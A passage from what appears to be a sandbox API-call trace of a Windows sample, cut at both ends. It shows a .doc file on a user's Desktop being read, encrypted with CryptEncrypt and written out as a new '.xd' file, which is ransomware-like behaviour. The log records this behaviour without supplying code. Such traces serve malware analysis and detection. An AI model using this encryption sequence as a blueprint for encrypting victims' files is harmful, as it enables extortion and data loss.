wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.661] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bjlobdad2w_thp.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.662] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.662] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.662] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.662] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.662] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.662] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.663] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5bJLobdAD2w_thp.doc.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5bjlobdad2w_thp.doc.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.665] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.669] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.669] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xf7ca, lpOverlapped=0x0) returned 1 [0074.672] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.675] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.676] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.676] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.676] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.677] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.677] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.677] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.677] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.677] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.677] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.677] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.677] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.678] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.678] CryptGetKeyParam (in: hKey=0x164c8b0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.678] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.678] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.678] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.678] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.678] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.678] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.679] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.679] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.679] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.679] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.680] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.680] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.680] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xf7ca, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xf7d0) returned 1 [0074.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.681] CharLowerBuffW (in: lpsz="byte[63441]", cchLength=0xb | out: lpsz="byte[63441]") returned 0xb [0074.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.683] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.683] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.683] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.683] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.684] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.684] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180f2a8*, pdwDataLen=0x130e618*=0xf7ca, dwBufLen=0xf7d0 | out: pbData=0x180f2a8*, pdwDataLen=0x130e618*=0xf7d0) returned 1 [0074.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.684] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.684] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.684] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.684] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.684] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.684] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.685] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.685] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.685] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.685] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.689] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.689] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.689] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.689] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xf7d0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xf7d0, lpOverlapped=0x0) returned 1 [0074.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.691] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.691] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.691] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.691] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.691] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16210a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.691] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.691] CryptDestroyKey (hKey=0x164c8b0) returned 1 [0074.692] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.692] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.692] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.692] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.692] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.692] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.692] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.692] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.693] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.693] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.693] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.693] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.693] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.693] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.693] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.693] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.693] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.693] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.693] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.694] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.694] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.694] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0074.694] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.695] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.695] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.695] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.695] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.695] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.695] CloseHandle (hObject=0x3d0) returned 1 [0074.698] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, 